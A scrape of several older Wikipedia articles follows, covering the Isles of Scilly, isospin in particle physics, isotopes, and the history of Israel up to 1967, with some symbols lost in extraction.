          The Isles of Scilly feature what is reportedly the smallest football league in the world. The league's two clubs, Woolpack Wanderers and Garrison Gunners, play each other sixteen times a season and compete for two cups as well as the league title. The league was a launching pad for the adidas "Dream Big" Campaign. The two share a ground, Garrison Field, but travel to the mainland for part of the year to play other non-professional clubs.


          In December 2006, Sport England published a survey which revealed that residents of the Isles of Scilly were the most active in England in sports and other fitness activities. 32% of the population participate at least 3 times a week for 30 minutes.


          Scilly is also popular scuba diving area.


          


          Ornithology


          The islands are famous for their birdwatching. Because Scilly is situated far into the Atlantic Ocean, American vagrant birds will make first European landfall in the archipelago. This fact attracts many birdwatchers each year, notably in the month of October.


          Scilly is responsible for many firsts for Britain and never fails to produce good birds. It is particularly good at producing vagrant American Passerines (perching birds). If an extremely rare bird turns up the island will see a significant increase in numbers of birders. This type of birding, chasing after rare birds, is called 'twitching'.


          In Literature


          
            	The novel Unnatural Selection by Aaron Elkins is set on St. Mary's.

          


          
            	Michael Morpurgo's book Why the whales came is set in the Scillies.

          


          
            Retrieved from " http://en.wikipedia.org/wiki/Isles_of_Scilly"
          


          

        

      

    


    


    
      This article (see wikipedia.org for authors and sources) is made available under the GNUFreeDocumentationLicense.
    

  


  
    
      
        

        Isospin


        
          

          
            
              	
                
                  Flavour in particle physics
                

              
            


            
              	
                Flavour quantum numbers:

                
                  	Lepton number: L


                  	Baryon number: B


                  	Strangeness: S


                  	Charm: C


                  	Bottomness: B'


                  	Topness: T


                  	Isospin: Iz or I


                  	Weak isospin: Tz


                  	Electric charge: Q

                

                


                Combinations:


                
                  	Hypercharge: Y

                    
                      	Y=2(Q-Iz)

                    

                  


                  	Weak hypercharge: YW

                    
                      	YW=2(Q-Tz)


                      	YW= BL

                    

                  

                

                


                Related topics:


                
                  	CPT symmetry


                  	CKM matrix


                  	CP symmetry


                  	Chirality

                

              
            

          


          In physics, and specifically, particle physics, isospin (isotopic spin, isobaric spin) is a quantum number related to the strong interaction. This term was derived from isotopic spin, but the term isotopic spin is confusing as two isotopes of a nucleus have different numbers of nucleons; in contrast, rotations of isospin maintain the number of nucleons. Nuclear physicists prefer isobaric spin, which is more precise in meaning. Isospin symmetry is a subset of the flavour symmetry seen more broadly in the interactions of baryons and mesons. Isospin symmetry remains an important concept in particle physics, and a close examination of this symmetry historically led directly to the discovery and understanding of quarks and of the development of Yang-Mills theory.


          


          Motivation for isospin


          
            [image: Combinations of three u, d or s-quarks forming baryons with spin-3⁄2 form the baryon decuplet.]

            
              Combinations of three u, d or s-quarks forming baryons with spin-32 form the baryon decuplet.
            

          


          
            [image: Combinations of three u, d or s-quarks forming baryons with spin-1⁄2 form the baryon octet]

            
              Combinations of three u, d or s-quarks forming baryons with spin-12 form the baryon octet
            

          


          Isospin was introduced by Werner Heisenberg in 1932 (although it was named by Eugene Wigner in 1937) to explain symmetries of the then newly discovered neutron:


          
            	The mass of the neutron and the proton are almost identical: they are nearly degenerate, and both are thus often called nucleons. Although the proton has a positive charge, and the neutron is neutral, they are almost identical in all other respects.


            	The strength of the strong interaction between any pair of nucleons is the same, independent of whether they are interacting as protons or as neutrons.

          


          Thus, isospin was introduced as a concept well before the development in the 1960's of the quark model which provides our modern understanding.


          The nucleons, baryons of spin 12, were grouped together because they both have nearly the same mass and interact in nearly the same way. Thus, it was convenient to treat them as being different states of the same particle. Since a spin 12 particle has two states, the two were said to be of isospin 12. The proton and neutron were then associated with different isospin projections Iz=+12 and 12 respectively. When constructing a physical theory of nuclear forces, one could then simply assume that it does not depend on isospin.


          These considerations would also prove useful in the analysis of meson-nucleon interactions after the discovery of the pions in 1947. The three pions (+, 0, ) could be assigned to an isospin triplet with I=1 and Iz=+1, 0 or 1. By assuming that isospin was conserved by nuclear interactions, the new mesons were more easily accommodated by nuclear theory.


          As further particles were discovered, they were assigned into isospin multiplets according to the number of different charge states seen: a doublet I=12 of K mesons, a triplet I=1 of  baryons, a single I=0 , four I=32  baryons, and so on. This multiplet structure was combined with strangeness in Murray Gell-Mann's Eightfold Way, ultimately leading to the quark model and quantum chromodynamics.


          


          Modern understanding of isospin


          Observation of the light baryons (those made of up, down and strange quarks) lead us to believe that some of these particles are so similar in terms of their strong interactions that they can be treated as different states of the same particle. In the modern understanding of quantum chromodynamics, this is because up and down quarks are very similar in mass, and have the same strong interactions. Particles made of the same numbers of up and down quarks have similar masses and are grouped together. For examples, the particles known as the Delta baryons  baryons of spin 32 made of a mix of three up and down quarks  are grouped together because they all have nearly the same mass (approximately 1,232 MeV/c2), and interact in nearly the same way.


          However, because the up and down quarks have different charges (23e and 13e respectively), the four Deltas also have different charges (++ (uuu), + (uud), 0 (udd),  (ddd)). These Deltas could be treated as the same particle and the difference in charge being due to the particle being in different states. Isospin was devised as a parallel to spin to associate an isospin projection (denoted Iz or I3) to each charged state. Since there were four Deltas, four projections were needed. Because isospin was modeled on spin, the isospin projections were made to vary in increments of 1 and to have four increments of 1, you needed an isospin value of 32 (giving the projections Iz=32, 12, 12, 32. Thus, all the Deltas were said to have isospin I=32 and each individual charge had different Iz (e.g. the ++ was associated with Iz=+32).


          After the quark model was elaborated, it was noted that the isospin projection was related to the up and down quark content of particles. The relation is Iz=12(NuNd) where Nu and Nd are the number of up and down quarks respectively.


          In the isospin picture, the four Deltas and the two nucleons were thought to be the different states of two particles. In the quark model, the Deltas can be thought of as the excited states of the nucleons.


          


          Isospin symmetry


          In quantum mechanics, when a Hamiltonian has a symmetry, that symmetry manifests itself through a set of states that have the same energy; that is, the states are degenerate. In particle physics, the near mass-degeneracy of the neutron and proton points to an approximate symmetry of the Hamiltonian describing the strong interactions. The neutron does have a slightly higher mass due to isospin breaking; this is due to the difference in the masses of the up and down quarks and the effects of the electromagnetic interaction. However, the appearance of an approximate symmetry is still useful, since the small breakings can be describe by a perturbation theory, which gives rise to slight differences between the near-degenerate states.


          


          SU(2)


          Heisenberg's contribution was to note that the mathematical formulation of this symmetry was in certain respects similar to the mathematical formulation of spin, whence the name "isospin" derives. To be precise, the isospin symmetry is given by the invariance of the Hamiltonian of the strong interactions under the action of the Lie group SU(2). The neutron and the proton are assigned to the doublet (the spin-12, 2, or fundamental representation) of SU(2). The pions are assigned to the triplet (the spin-1, 3, or adjoint representation) of SU(2).


          Just as is the case for regular spin, isospin is described by two quantum numbers, I, the total isospin, and Iz, the component of the spin vector in some direction.


          


          Relationship to flavor


          The discovery and subsequent analysis of additional particles, both mesons and baryons, made it clear that the concept of isospin symmetry could be broadened to an even larger symmetry group, now called flavor symmetry. Once the kaons and their property of strangeness became better understood, it started to become clear that these, too, seemed to be a part of an enlarged symmetry that contained isospin as a subgroup. The larger symmetry was named the Eight-fold Way by Murray Gell-Mann, and was promptly recognized to correspond to the adjoint representation of SU(3). To better understand the origin of this symmetry, Gell-Mann proposed the existence of up, down and strange quarks which would belong to the fundamental representation of the SU(3) flavor symmetry.


          Although isospin symmetry is very slightly broken, SU(3) symmetry is more badly broken, due to the much higher mass of the strange quark compared to the up and down. The discovery of charm, bottomness and topness could lead to further expansions up to SU(6) flavour symmetry, but the very large masses of these quarks makes such symmetries almost useless. In modern applications, such as lattice QCD, isospin symmetry is often treated as exact while the heavier quarks must be treated separately.


          


          Quark content and isospin


          Up and down quarks each have isospin I=12, and isospin z-components (Iz) of 12 and 12 respectively. All other quarks have I=0. A composite particle made of quarks must have Iz equal to the sum of the Iz of its quarks and I less than or equal


          
            	Particles of isospin 32 can only be made by a mix of three u and d quarks ('s).


            	Particles of isospin 1 are made of a mix of two u quarks and d quarks ('s, 's, 's, etc.).


            	Particles of isospin 12 can be made of a mix of three u and d quarks (N's) or from one u or d quark ('s, K's, D's, etc.)


            	Particles of isospin 0 can be made of one u and one d quark ('s, 's, 's, etc.), or from no u or d quarks at all ('s, 's, etc.).
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          Isospin symmetry of quarks


          In the framework of the Standard Model, the isospin symmetry of the proton and neutron are reinterpreted as the isospin symmetry of the up and down quarks. Technically, the nucleon doublet states are seen to be linear combinations of products of 3-particle isospin doublet states and spin doublet states. That is, the (spin-up) proton wave function, in terms of quark-flavour eigenstates, is described by


          
            	[image: \vert p\uparrow \rangle = \frac 1{3\sqrt 2}\left(\begin{array}{ccc} \vert duu\rangle & \vert udu\rangle & \vert uud\rangle \end{array}\right) \left(\begin{array}{ccc} 2 & -1 & -1\\ -1 & 2 & -1\\ -1 & -1 & 2 \end{array}\right) \left(\begin{array}{c} \vert\downarrow\uparrow\uparrow\rangle\\ \vert\uparrow\downarrow\uparrow\rangle\\ \vert\uparrow\uparrow\downarrow\rangle \end{array}\right)]

          


          and the (spin-up) neutron by


          
            	[image: \vert n\uparrow \rangle = \frac 1{3\sqrt 2}\left(\begin{array}{ccc} \vert udd\rangle & \vert dud\rangle & \vert ddu\rangle \end{array}\right) \left(\begin{array}{ccc} 2 & -1 & -1\\ -1 & 2 & -1\\ -1 & -1 & 2 \end{array}\right) \left(\begin{array}{c} \vert\downarrow\uparrow\uparrow\rangle\\ \vert\uparrow\downarrow\uparrow\rangle\\ \vert\uparrow\uparrow\downarrow\rangle \end{array}\right)]

          


          Here, [image: \vert u \rangle] is the up quark flavour eigenstate, and [image: \vert d \rangle] is the down quark flavour eigenstate, while [image: \vert\uparrow\rangle] and [image: \vert\downarrow\rangle] are the eigenstates of Sz. Although these superpositions are the technically correct way of denoting a proton and neutron in terms of quark flavour and spin eigenstates, for brevity, they are often simply referred to as uud and udd. Note also that the derivation above is assumes exact isospin symmetry and is modified by SU(2)-breaking terms.


          Similarly, the isopsin symmetry of the pions are given by:


          
            	[image: \vert \pi^+\rangle = \vert u\overline {d}\rangle]


            	[image: \vert \pi^0\rangle = \frac{1}{\sqrt{2}}\left(\vert u\overline {u}\rangle - \vert d \overline{d} \rangle \right)]


            	[image: \vert \pi^-\rangle = -\vert d\overline {u}\rangle]

          


          


          Weak isospin


          Isospin is similar to, but should not be confused with weak isospin. Briefly, weak isospin is the gauge symmetry of the weak interaction which connects quark and lepton doublets of left-handed particles in all generations; for example, up and down quarks, top and bottom quarks, electrons and electron neutrinos. Isospin connects only up and down quarks, acts on both chiralities (left and right) and is a global (not a gauge) symmetry.


          


          Gauged isospin symmetry


          Attempts have been made to promote isospin from a global to a local symmetry. In 1954, Chen Ning Yang and Robert Mills suggested that the notion of protons and neutrons, which are continuously rotated into each other by isospin, should be allowed to vary from point to point. To describe this, the proton and neutron direction in isospin space must be defined at every point, giving local basis for isospin. A gauge connection would then describe how to transform isospin along a path between two points.


          This Yang-Mills theory describes interacting vector bosons, like the photon of electromagnetism. Unlike the photon, the SU(2) gauge theory would contain self-interacting gauge bosons. The condition of gauge invariance suggests that they have zero mass, just as in electromagnetism.


          Ignoring the massless problem, as Yang and Mills did, the theory makes a firm prediction: the vector particle should couple to all particles of a given isospin universally. The coupling to the nucleon would be the same as the coupling to the kaons. The coupling to the pions would be the same as the self-coupling of the vector bosons to themselves.


          When Yang and Mills proposed the theory, there was no candidate vector boson. J. J. Sakurai in 1960 predicted that there should be a massive vector boson which is coupled to isospin, and predicted that it would show universal couplings. The rho mesons were discovered a short time later, and were quickly identified as Sakurai's vector bosons. The couplings of the rho to the nucleons and to each other were verified to be universal, as best as experiment could measure. The fact that the diagonal isospin current contains part of the electromagnetic current led to the prediction of rho-photon mixing and the concept of vector meson dominance, ideas which led to successful theoretical pictures of GeV-scale photon-nucleus scattering.


          Although the discovery of the quarks led to reinterpretation of the rho meson as a vector bound state of a quark and an antiquark, it is sometimes still useful to think of it as the gauge boson of a hidden local symmetry


          
            Retrieved from " http://en.wikipedia.org/wiki/Isospin"
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          Isotopes are any of the different forms of an element each having different atomic mass ( mass number). Isotopes of an element have nuclei with the same number of protons (the same atomic number) but different numbers of neutrons. Therefore, isotopes have different mass numbers, which give the total number of nucleonsthe number of protons plus neutrons.


          A nuclide is any particular atomic nucleus with a specific atomic number Z and mass number A; it is equivalently an atomic nucleus with a specific number of protons and neutrons. Collectively, all the isotopes of all the elements form the set of nuclides. The distinction between the terms isotope and nuclide has somewhat blurred, and they are often used interchangeably. Isotope is best used when referring to several different nuclides of the same element; nuclide is more generic and is used when referencing only one nucleus or several nuclei of different elements. For example, it is more correct to say that an element such as fluorine consists of one stable nuclide rather than that it has one stable isotope.


          In IUPAC nomenclature, isotopes and nuclides are specified by the name of the particular element, implicitly giving the atomic number, followed by a hyphen and the mass number (e.g. helium-3, carbon-12, carbon-13, iodine-131 and uranium-238). In symbolic form, the number of nucleons is denoted as a superscripted prefix to the chemical symbol (e.g. 3He, 12C, 13C, 131I and 238U).


          About 339 nuclides occur naturally on Earth, of which about 79% are stable. Counting the radioactive nuclides not found in nature that have been created artificially, more than 3100 nuclides are currently known.


          


          History of the term


          
            [image: In the bottom right corner of JJ Thomson's photographic plate are markings for the two isotopes of neon: neon-20 and neon-22.]

            
              In the bottom right corner of JJ Thomson's photographic plate are markings for the two isotopes of neon: neon-20 and neon-22.
            

          


          The term isotope was coined in 1913 by Margaret Todd, a Scottish doctor, during a conversation with Frederick Soddy (to whom she was distantly related by marriage). Soddy, a chemist at Glasgow University, explained that it appeared from his investigations as if several elements occupied each position in the periodic table. Hence Todd suggested the Greek term for "at the same place" as a suitable name. Soddy adopted the term and went on to win the Nobel Prize for Chemistry in 1921 for his work on radioactive substances.


          In 1913, as part of his exploration into the composition of canal rays, JJ Thomson channeled a stream of ionized neon through a magnetic and an electric field and measured its deflection by placing a photographic plate in its path. Thomson observed two patches of light on the photographic plate (see image on right), which suggested two different parabolas of deflection. Thomson concluded that some of the atoms in the gas were of higher mass than the rest.


          


          Variation in properties between isotopes


          


          Chemical and atomic properties


          A neutral atom has the same number of electrons as protons. Thus, different isotopes of a given element all have the same number of protons and electrons and the same electronic structure, and because the chemical behavior of an atom is largely determined by its electronic structure, different isotopes exhibit nearly identical chemical behaviour. The main exception to this is the kinetic isotope effect: due to their larger masses, heavier isotopes tend to react somewhat more slowly than lighter isotopes of the same element. This is most pronounced for protium (1H) vis--vis deuterium (2H), because deuterium has twice the mass of protium. The mass effect between deuterium and the relatively light protium also affects the behavior of their respective chemical bonds, by means of changing the centre of gravity ( reduced mass) of the atomic systems. However, for heavier elements, the absolute mass of nucleus relative to electrons if far more, and the relative mass difference between isotopes is much less, and thus the mass-difference effects on chemistry are usually negligible.


          
            [image: Isotope half lifes. Note that the darker more stable isotope region departs from the line of protons Z = neutrons N, as the element number Z becomes larger]

            
              Isotope half lifes. Note that the darker more stable isotope region departs from the line of protons Z = neutrons N, as the element number Z becomes larger
            

          


          Similarly, two molecules which differ only in the isotopic nature of their atoms ( isotopologues) will have identical electronic structure and therefore almost indistinguishable physical and chemical properties (again with deuterium providing the primary exception to this rule). The vibrational modes of a molecule are determined by its shape and by the masses of its constituent atoms. Consequently, isotopologues will have different sets of vibrational modes. Since vibrational modes allow a molecule to absorb photons of corresponding energies, isotopologues have different optical properties in the infrared range.


          


          Nuclear properties and stability


          Atomic nuclei consist of protons and neutrons bound together by the strong nuclear force. Because protons are positively charged, they repel each other. Neutrons, which are electrically neutral, allow some separation between the positively charged protons, reducing the electrostatic repulsion. Neutrons also stabilize the nucleus because at short ranges they attract each other and protons equally by the strong nuclear force, and this extra binding force also offsets the electrical repulsion between protons. For this reason, one or more neutrons are necessary for two or more protons to be bound into a nucleus. As the number of protons increases, an increasing ratio of neutrons are needed to form a stable nucleus (see graph at right). For example, although the neutron:proton ratio of 3He is 1:2, the neutron:proton ratio of 238U is greater than 3:2. As a rule, there is, for each atomic number (each element) only a handful of stable isotopes, the average being 3.4 stable isotopes per element which has any stable isotopes. Sixteen elements have only a single stable isotope, while the largest number of stable isotopes observed for any element, is ten.


          Although isotopes exhibit nearly identical electronic and chemical behavior, their nuclear behaviour varies dramatically. Adding neutrons to isotopes can vary their nuclear spins and nuclear shapes, causing differences in neutron capture cross-sections and gamma spectroscopy and nuclear magnetic resonance properties.


          If too many or too few neutrons are present with regard to the optimum ratio, the nucleus becomes unstable and subject to certain types of nuclear decay. Unstable isotopes with a non-optimal number of neutrons decay by alpha decay, beta decay, or other exotic means, such as spontaneous fission and cluster decay.


          


          Occurrence in nature


          Elements are composed of one or more naturally occurring isotopes, which are normally stable. Some elements have unstable (radioactive) isotopes, either because their decay is so slow that a fraction still remains since they were created (examples: uranium, potassium), or because they are continually created through cosmic radiation (tritium, carbon-14) or by decay from an isotope in the first category (radium, radon).


          Only 80 elements have stable isotopes, and 16 of these have only one stable isotope. Most elements occur naturally on Earth in multiple stable isotopes, with the largest number of stable isotopes for an element being ten, for tin (element number 50). There are about 94 elements found naturally on Earth (up to plutonium, element 94, inclusive), though some are detected only in very tiny amounts, such as plutonium-244. Lindsay estimates that the elements which occur naturally on Earth (some only as radioisotopes) occur as 339 isotopes (nuclides) in total. Only 269 of these naturally occurring isotopes are stable, and the other 70 are radioactive, but occur on Earth due to their relatively long half-lives, or from other means of natural production. An additional ~ 2700 radioactive isotopes not found in nature have been created in nuclear reactors and in particle accelerators. Many short-lived isotopes not found naturally on Earth have also been observed by spectroscopic analysis, being naturally created in stars or supernovae. An example is aluminium-26, which is not naturally found on Earth, but which is found in abundance on an astronomical scale.


          The tabulated atomic masses of elements are averages that account for the presence of multiple isotopes with different masses. A good example is chlorine, having the composition 35Cl, 75.8%, and 37Cl, 24.2%, giving an atomic mass of 35.5. Values like this confounded scientists before the discovery of isotopes, as most light element atomic masses are close to integer multiples of hydrogen.


          According to generally accepted cosmology only the isotopes of hydrogen and helium, and traces of some isotopes of lithium, beryllium and boron were created at the big bang, while all others were synthesized in stars and supernovae. (See nucleosynthesis.) Their respective abundances on Earth result from the quantities formed by these processes, their spread through the galaxy, and their rates of decay. After the initial coalescence of the solar system, isotopes were redistributed according to mass, and the isotopic composition of elements varies slightly from planet to planet. This sometimes makes it possible to trace the origin of meteorites.


          


          Molecular mass of isotopes


          The molecular mass (Mr) of an element is determined by its nucleons. For example, Carbon-12 (12C) has 6 Protons and 6 Neutrons. When a sample contains two isotopes the equation below is applied where Mr(1) and Mr(2) are the molecular masses of each individual isotope, and% abundance is the percentage abundance of that isotope in the sample.


          
            	[image: M_r = \frac{M_r(1)*%abundance+M_r(2)*%abundance}{100}.]

          


          


          Applications of isotopes


          Several applications exist that capitalize on properties of the various isotopes of a given element.


          


          Use of chemical and biological properties


          
            	Isotope analysis is the determination of isotopic signature, the relative abundances of isotopes of a given element in a particular sample. For biogenic substances in particular, significant variations of isotopes of C, N and O can occur. Analysis of such variations has a wide range of applications, such as the detection of adulteration of food products. The identification of certain meteorites as having originated on Mars is based in part upon the isotopic signature of trace gases contained in them.

          


          
            	Another common application is isotopic labeling, the use of unusual isotopes as tracers or markers in chemical reactions. Normally, atoms of a given element are indistinguishable from each other. However, by using isotopes of different masses, they can be distinguished by mass spectrometry or infrared spectroscopy (see "Properties"). For example, in 'stable isotope labeling with amino acids in cell culture ( SILAC)' stable isotopes are used to quantify proteins. If radioactive isotopes are used, they can be detected by the radiation they emit (this is called radioisotopic labeling).

          


          
            	A technique similar to radioisotopic labelling is radiometric dating: using the known half-life of an unstable element, one can calculate the amount of time that has elapsed since a known level of isotope existed. The most widely known example is radiocarbon dating used to determine the age of carbonaceous materials.

          


          
            	Isotopic substitution can be used to determine the mechanism of a reaction via the kinetic isotope effect.

          


          


          Use of nuclear properties


          
            	Several forms of spectroscopy rely on the unique nuclear properties of specific isotopes. For example, nuclear magnetic resonance (NMR) spectroscopy can be used only for isotopes with a nonzero nuclear spin. The most common isotopes used with NMR spectroscopy are 1H, 2D,15N, 13C, and 31P.

          


          
            	Mssbauer spectroscopy also relies on the nuclear transitions of specific isotopes, such as 57Fe.

          


          
            	Radionuclides also have important uses. Nuclear power and nuclear weapons development require relatively large quantities of specific isotopes. The process of isotope separation represents a significant technological challenge, but more so with heavy elements such as uranium or plutonium, than with lighter elements such as hydrogen, lithium, carbon, nitrogen, and oxygen. The lighter elements are commonly separated by gas diffusion of their compounds such as CO and NO. Uranium isotopes have been separated in bulk by gas diffusion, gas centrifugation, laser ionization separation, and (in the Manhattan Project) by a type of production mass spectroscopy.
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              	Capital

              (and largest city)

              	Jerusalem

            


            
              	Official languages

              	Hebrew, Arabic
            


            
              	Demonym

              	Israeli
            


            
              	Government

              	Parliamentary democracy
            


            
              	-

              	President

              	Shimon Peres
            


            
              	-

              	Prime Minister

              	Ehud Olmert
            


            
              	Independence

              	from UK-administered League of Nations mandate
            


            
              	-

              	Declaration

              	14 May 1948 (05 Iyar 5708)
            


            
              	Area
            


            
              	-

              	Total1

              	20,770 / 22,072km( 151st)

              8,019 / 8,522 sqmi
            


            
              	-

              	Water(%)

              	~2%
            


            
              	Population
            


            
              	-

              	2007estimate

              	7,184,0002( 96th)
            


            
              	-

              	1995census

              	5,548,523
            


            
              	-

              	Density

              	324/km( 34th)

              839/sqmi
            


            
              	GDP( PPP)

              	2007estimate
            


            
              	-

              	Total

              	$232.7 billion( 44rd)
            


            
              	-

              	Per capita

              	$33,299( 22th)
            


            
              	Gini(2005)

              	38.6
            


            
              	HDI(2007)

              	▬ 0.932(high)( 23rd)
            


            
              	Currency

              	New Israeli Sheqel (₪) ( NIS)
            


            
              	Time zone

              	IST ( UTC+2)
            


            
              	-

              	Summer( DST)

              	( UTC+3)
            


            
              	Internet TLD

              	.il
            


            
              	Calling code

              	+972
            


            
              	1
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          Israel (Hebrew: יִשְרָאֵל, Yisra'el; Arabic: إسرائيل, Isrā'īl((u); Russian: Израиль, Izr'il'), officially the State of Israel (Hebrew: מְדִינַת יִשְרָאֵל, Medinat Yisra'el; Arabic: دَوْلَةْ إِسْرَائِيل, Dawlat Isrā'īl), is a country in Southwest Asia located on the southeastern edge of the Mediterranean Sea. It has borders with Lebanon in the north, Syria and Jordan in the east, and Egypt on the southwest, and contains geographically diverse features within its relatively small area. The West Bank and Gaza Strip, which are partially administrated by the Palestinian National Authority, are also adjacent. With a population of about 7.2 million, the majority of whom are Jews, Israel is the world's only Jewish state. It is also home to Arab Muslims, Christians and Druze, as well as other religious and ethnic minority groups. Jerusalem is the nation's capital, seat of government, and largest city.


          The modern state of Israel has its roots in the Land of Israel, a concept central to Judaism for over three thousand years. After World War I, the League of Nations approved the British Mandate for Palestine with the intent of creating a "national home for the Jewish people". In 1947, the United Nations approved the partition of the Mandate of Palestine into two states, one Jewish and one Arab. The Arab League rejected the plan, but on May 14, 1948, Israel declared its independence. The new country's victory in the subsequent Arab-Israeli War expanded the borders of the Jewish state beyond those in the UN Partition Plan. Since then, Israel has been in conflict with many of the neighboring Arab countries, resulting in several major wars and decades of violence. Since its foundation, Israel's boundaries and even the State's very right to exist have been subject to dispute, although Israel has signed peace treaties with Egypt and Jordan, and efforts are being made to reach a permanent accord with the Palestinians.


          Unlike most countries in the Middle East, Israel is a liberal democracy and a developed country. It has also been ranked as the most progressive Middle Eastern country in terms of freedom of the press, economic competition, and human development.


          


          Etymology


          Over the past three thousand years, the name "Israel" has meant in common and religious usage both the Land of Israel and the entire Jewish nation. The name originated from a verse in the Bible ( Genesis, 32:28) where Jacob is renamed Israel after successfully wrestling with an angel of God. Commentators differ on the meaning of the name. Some say the name comes from the verb śarar ("to rule, be strong, have authority over"), thereby making the name mean "God rules" or "God judges". Other possible meanings include "the prince of God" (from the King James Version) or " El fights/struggles". Regardless of the precise meaning of the name, the biblical nation fathered by Jacob thus became the " Children of Israel" or the " Israelites".


          The first historical mention of the word "Israel" is in the Merneptah Stele of ancient Egypt (dated the late 13th century BCE), although scholars disagree on whether it refers to a people or a homeland. The modern country was named Medinat Yisrael, or the State of Israel, after other proposed names, including Eretz Israel ("the Land of Israel"), Zion, and Judea, were rejected. In the early weeks of independence, the government chose the term " Israeli" to denote a citizen of Israel, with the formal announcement made by Minister of Foreign Affairs Moshe Sharett.


          


          History


          


          Early roots


          The Land of Israel, known in Hebrew as Eretz Yisrael, has been sacred to the Jewish people since the time of the biblical patriarchs: Abraham, Isaac, and Jacob. The Bible has placed this period in the early 2nd millennium BCE. According to the Torah, the Land of Israel was promised to the Jews as their homeland, and the sites holiest to Judaism are located there. Around the 11th century BCE, the first of a series of Jewish kingdoms and states established rule over the region; these Jewish kingdoms and states ruled intermittently for the following one thousand years.


          Between the time of the Jewish kingdoms and the 7th-century Muslim conquests, the Land of Israel fell under Assyrian, Babylonian, Persian, Greek, Roman, Sassanian, and Byzantine rule. Jewish presence in the region dwindled after the failure of the Bar Kokhba revolt against the Roman Empire in 132CE and the resultant large-scale expulsion of Jews. Nevertheless, a continuous Jewish presence in Palestine was maintained, although the main Jewish population shifted from the Judea region to the Galilee; the Mishna and part of the Talmud, among Judaism's most important religious texts, were composed in Israel during this period. The Land of Israel was captured from the Byzantine Empire around 636CE during the initial Muslim conquests. Control of the region transferred between the Umayyads, Abbasids, and Crusaders over the next six centuries, before falling in the hands of the Mamluk Sultanate, in 1260. In 1516, the Land of Israel became a part of the Ottoman Empire, which ruled the region until the 20th century.
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          Jews living in the Diaspora have long aspired to return to Zion and the Land of Israel. That hope and yearning was articulated in the Bible and is a central theme in the Jewish prayer book. Beginning in the twelfth century, a small but steady stream of Jews began to leave Europe to settle in the Holy Land, increasing in numbers after Jews were expelled from Spain in 1492. During the 16th century large communities struck roots in the Four Holy Cities, and in the second half of the 18th century, entire Hasidic communities from eastern Europe settled in the Holy Land.
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          The first large wave of modern immigration, known as the First Aliyah (Hebrew: עלייה), began in 1881, as Jews fled pogroms in Eastern Europe. While the Zionist movement already existed in theory, Theodor Herzl is credited with founding political Zionism, a movement which sought to establish a Jewish state in the Land of Israel, by elevating the Jewish Question to the international plane. In 1896, Herzl published Der Judenstaat (The Jewish State), offering his vision of a future state; the following year he presided over the first World Zionist Congress.


          The Second Aliyah (19041914), began after the Kishinev Pogrom. Some 40,000 Jews settled in Palestine. Both the first and second waves of migrants were mainly Orthodox Jews, but those in the Second Aliyah included socialist pioneers who established the kibbutz movement. During World War I, British Foreign Secretary Arthur Balfour issued what became known as the Balfour Declaration, which "view[ed] with favour the establishment in Palestine of a national home for the Jewish people." The Jewish Legion, a group of battalions composed primarily of Zionist volunteers, assisted in the British conquest of Israel. Arab opposition to the plan led to the 1920 Palestine riots and the formation of the Jewish defense organization known as the Haganah, from which the Irgun and Lehi split off. In 1922, the League of Nations granted Great Britain, a mandate over Palestine for the express purpose of "placing the country under such political, administrative and economic conditions as will secure the establishment of the Jewish national home".


          Jewish immigration continued with the Third Aliyah (19191923) and Fourth Aliyah (19241929), which together brought 100,000 Jews to Palestine. In the wake of the Jaffa riots in the early days of the Mandate, the British restricted Jewish immigration and territory slated for the Jewish state was allocated to Transjordan. The rise of Nazism in the 1930s led to the Fifth Aliyah, with an influx of a quarter of a million Jews. This influx resulted in the Arab revolt of 19361939 and led the British to cap immigration with the White Paper of 1939. With countries around the world turning away Jewish refugees fleeing the Holocaust, a clandestine movement known as Aliyah Bet was organized to bring Jews to Palestine. By the end of World War II, Jews accounted for 33% of the population of Palestine, up from 11% in 1922.


          


          Independence and first years
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          In 1947, the British government withdrew from commitment to the Mandate of Palestine, stating it was unable to arrive at a solution acceptable to both Arabs and Jews. The newly-created United Nations approved the UN Partition Plan (United Nations General Assembly Resolution 181) on November 29, 1947, dividing the country into two states, one Arab and one Jewish. Jerusalem was to be designated an international city  a corpus separatum  administered by the UN to avoid conflict over its status. The Jewish community accepted the plan, but the Arab League and Arab Higher Committee rejected it.


          Regardless, the State of Israel was proclaimed on May 14, 1948, one day before the expiry of the British Mandate for Palestine. Not long after, five Arab countries  Egypt, Syria, Jordan, Lebanon and Iraq  attacked Israel, launching the 1948 Arab-Israeli War. After almost a year of fighting, a ceasefire was declared and temporary borders, known as the Green Line, were instituted. Jordan annexed what became known as the West Bank and East Jerusalem, and Egypt took control of the Gaza Strip. Israel was admitted as a member of the United Nations on May 11, 1949. During the course of the hostilities, 711,000 Arabs, according to UN estimates, fled from Israel. The fate of the Palestinian refugees today is a major point of contention in the Israeli-Palestinian conflict.


          In the early years of the state, the Labor Zionist movement led by Prime Minister David Ben-Gurion dominated Israeli politics. These years were marked by mass immigration of Holocaust survivors and Jews fleeing Arab lands; the population rose from 800,000 to two million between 1948 and 1958. Most arrived as refugees with no possessions and were housed in temporary camps known as ma'abarot. By 1952, over two hundred thousand immigrants were living in these tent cities. The need to solve the crisis led Ben-Gurion to sign a reparations agreement with West Germany that triggered mass protests by Jews angered at the idea of Israel "doing business" with Germany.
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          During the 1950s, Israel was frequently attacked by Arab fedayeen, mainly from the Egyptian-occupied Gaza Strip. In 1956, Israel joined a secret alliance with Great Britain and France aimed at recapturing the Suez Canal, which the Egyptians had nationalized (see the Suez Crisis). Despite capturing the Sinai Peninsula, Israel was forced to retreat due to pressure from the United States and the Soviet Union in return for guarantees of Israeli shipping rights in the Red Sea and the Canal.


          At the start of the following decade, Israel captured Adolf Eichmann, an implementer of the Final Solution hiding in Argentina, and brought him to trial. The trial had a major impact on public awareness of the Holocaust and to date Eichmann remains the only person sentenced to death by Israeli courts.


          


          Conflicts and peace treaties


          In 1967, Egypt, Jordan, and Syria massed troops close to Israeli borders, expelled UN peacekeepers and blocked Israel's access to the Red Sea. Israel saw these actions as a casus belli for a pre-emptive strike that launched the Six-Day War, during which it captured the West Bank, Gaza Strip, Sinai Peninsula and Golan Heights. The 1949 Green Line became the administrative boundary between Israel and the occupied territories. Jerusalem's boundaries were enlarged, incorporating East Jerusalem. The Jerusalem Law, passed in 1980, reaffirmed this measure and reignited international controversy over the status of Jerusalem.
